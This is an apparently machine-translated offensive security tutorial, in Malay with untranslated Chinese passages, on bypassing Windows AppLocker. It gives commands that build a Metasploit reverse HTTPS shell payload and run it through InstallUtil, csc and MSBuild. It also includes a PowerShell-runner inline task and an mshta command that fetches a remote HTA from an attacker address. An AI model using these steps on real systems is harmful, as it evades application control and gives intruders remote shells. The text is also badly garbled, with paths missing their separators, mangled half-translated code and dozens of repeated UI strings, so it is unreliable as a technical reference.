Cara melakukan analisis pintasan AppLocker

Kata Pengantar

Apa itu applocker<br>

AppLocker, "Dasar Kawalan Aplikasi", ialah ciri keselamatan yang baru ditambah dalam sistem Windows 7. Ciri ini disepadukan secara lalai dalam sistem di atas win7 Kami boleh mendayakan Identiti Aplikasi dalam perkhidmatan, dan kemudian mencari pilihan Applocker dalam Dasar Kawalan Aplikasi dalam dasar keselamatan tempatan.

peraturan applocker <br>

Peraturan Applocker lalai menyokong jenis berikut:

Peraturan** | Format fail yang berkaitan---|--- fail boleh laku |. exe, .com skrip |. .ps1, .bat, .cmd, .vbs, .js fail Pemasang Windows | 🎜>

<br>

• Penerbit: Mengenal pasti berdasarkan tandatangan digital aplikasi

  <br>

• Laluan: Melalui aplikasi dalam sistem fail komputer anda atau pada rangkaian Lokasi untuk mengenal pastinya

  <br>

• Fail Hash: Mewakili cincang kriptografi yang dikira sistem bagi fail yang dikenal pasti

  <br>

<br>

• Benarkan kumpulan Pentadbir tempatan Ahli menjalankan semua aplikasi.

  <br>

• Benarkan ahli kumpulan Semua orang menjalankan apl dalam folder Windows.

  <br>

• Benarkan ahli kumpulan Semua orang menjalankan apl dalam folder Program Files.

  <br>

• Benarkan ahli kumpulan Pentadbir tempatan menjalankan semua skrip.

  <br>

• Benarkan ahli kumpulan Semua orang menjalankan skrip dalam folder Program Files.

  <br>

• Benarkan ahli kumpulan Semua orang menjalankan skrip dalam folder Windows.

  <br>

• Benarkan ahli kumpulan Pentadbir setempat menjalankan semua fail Pemasang Windows.

  <br>

• Benarkan ahli kumpulan Semua orang menjalankan semua fail Pemasang Windows yang ditandatangani secara digital.

  <br>

• Benarkan ahli kumpulan Everyone menjalankan semua fail Windows Installer dalam folder WindowsInstaller.

  <br>

• Benarkan ahli kumpulan Pentadbir tempatan menjalankan semua DLL.

  <br>

• Benarkan ahli kumpulan Semua orang menjalankan DLL dalam folder Program Files.

  <br>

• Benarkan ahli kumpulan Semua orang menjalankan DLL dalam folder Windows.

  <br>

• Benarkan ahli kumpulan Semua orang memasang dan menjalankan semua aplikasi berpakej yang ditandatangani dan aplikasi berpakej Pemasang

  <br>

<br>

• Izinkan. Anda boleh menentukan fail mana yang dibenarkan untuk dijalankan dalam persekitaran anda dan untuk pengguna atau kumpulan pengguna yang mana. Anda juga boleh mengkonfigurasi pengecualian untuk mengenal pasti fail yang dikecualikan daripada peraturan.

  <br>

• Ditolak. Anda boleh menentukan fail yang tidak dibenarkan untuk dijalankan dalam persekitaran anda dan pengguna atau kumpulan yang disasarkan. Anda juga boleh mengkonfigurasi pengecualian untuk mengenal pasti fail yang dikecualikan daripada peraturan.

  <br>

<br>

bypass Applocker<br>

Installutil.exe<br>

InstallUtil ialah sebahagian daripada Rangka Kerja .NET dan merupakan program baris arahan yang membolehkan pengguna memasang dengan pantas melalui gesaan arahan dan nyahpasang aplikasi. Memandangkan utiliti ini ialah binari yang ditandatangani Microsoft, ia boleh digunakan untuk memintas sekatan AppLocker untuk menjalankan mana-mana .NET boleh laku. Utiliti ini juga terletak di dalam folder Windows, yang tidak menggunakan dasar AppLocker kerana kandungan folder Windows perlu dilaksanakan untuk sistem berfungsi dengan baik.

Mula-mula kami menggunakan WhiteListEvasion (https://github.com/khr0x40sh/WhiteListEvasion) untuk menjana templat

<br>

<br>

python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

Arahan di atas akan menghasilkan templat C# yang akan mengandungi Metasploit ShellCode.

Letakkan fail yang dijana ke dalam sasaran dan laksanakannya menggunakan kaedah berikut:

<br>

<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/ payload.exe

Sudah tentu, anda juga boleh menggunakan msf untuk menjana muatan csharp, kemudian menggantikan kod shell dalam templat, dan kemudian memindahkan fail cs ke mesin sasaran.

Kemudian susun skrip kami dengan csc:

<br>

<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs

Pada ketika ini kami cuba melaksanakan fail kami:

dipintas oleh peraturan, kemudian kami menggunakan

<br>

<br>

C:WindowsMicrosoft.NETFrameworkv2 . 0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

Pintas

msf berjaya dalam talian

Terdapat juga modul pintasan untuk applocker menggunakan InstallUtil.exe dalam msf.

<br>

exploit/windows/local/applocker_bypass

Prinsipnya adalah sama

Dengan laluan biasa:

• C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe<br>

• C:WindowsMicrosoft.NETFramework64v2.0.50727<br>

• C:WindowsMicrosoft.NETFramework64v2.0.50727<br>

  exe
• C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe

  <br>

<br>

MSBuild.exe (Microsoft Build Engine) ialah platform pembinaan perisian yang digunakan oleh Visual Studio. Ia memerlukan fail projek berformat XML yang mentakrifkan keperluan untuk membina untuk pelbagai platform dan konfigurasi. (Petikan: MSDN MSBuild)

<br>

<br>

dan>

dan kemudian menggunakan msbuild untuk melaksanakannya. :

Sudah tentu anda juga boleh menggunakan msf untuk menjana kod shell c# dan kemudian memuatkannya menggunakan templat master pelajar Sanhao:

https:// github.com/3gstudent/msbuild- inline-task/blob/master/executes%20shellcode.xml

Perhatikan bahawa nama akhiran ditukar kepada .csproj

Selain melantun semula shell, kita juga boleh menggunakannya untuk memintas sekatan powershell.

<br>

<br>

                             ");                        rentetan x = Console.ReadLine();                        cubalah                        {                            Console.WriteLine(RunPSCommand(x));                        }                        tangkapan (Pengecualian e)                        {                            Console.WriteLine(e.Message);                        }                    }                                kembali benar;                }               //Berdasarkan Karya Jared Atkinson Dan Justin Warner                rentetan statik awam RunPSCommand(rentetan cmd)                {                    //Init barang                    Runspace runspace = RunspaceFactory.CreateRunspace();                    runspace.Open();                    RunspaceInvoke scriptInvoker = baru RunspaceInvoke(runspace);                    Saluran paip = runspace.CreatePipeline();                    //Tambah arahan                    pipeline.Commands.AddScript(cmd);                    //Prep PS untuk output rentetan dan invoke                    pipeline.Commands.Add("Out-String");                    Koleksi keputusan = saluran paip.Invoke();                    runspace.Close();                    //Tukar rekod kepada rentetan                    StringBuilder stringBuilder = new StringBuilder();                    foreach (PSObject obj dalam hasil)                    {                        stringBuilder.Append(obj);                    }                    kembalikan stringBuilder.ToString().Trim();                 }                 RunPSFile kekosongan statik awam (skrip rentetan)                {                    PowerShell ps = PowerShell.Create();                    ps.AddScript(skrip).Invoke();                }            }        ]]>    

原地址：https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml

成功绕过对powershell的限制。

常见路径如下：

• C:WindowsMicrosoft.NETFramework02.NETFrame <br>

C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe

• <br>

C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe
• 🎜>

  <br>C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe

• <br>C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe

• C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe<br>

• Mshta.exe<br>

mshta.exe是微操作系统相关程序，英文全称Microsoft HTML Application，可翻译为微软超文本标记语言应用，用于于所用，用于义。集成在环境变量中。

使用Mshta的方式有很多，我们这里使用msf的exploit/windows/misc/hta_server模块进行测试：<br>

<br>

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

<br>

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

Salin selepas log masuk

目标机执行：

<br>

<br>

mshta.exe http://192.168.0.106:8080/JR1gb>可上线。

除了这种方法hta还可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic蛿版、Koadic、物衭🎜>

<br>

<br>

<br>

Atas ialah kandungan terperinci Cara melakukan analisis pintasan AppLocker. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!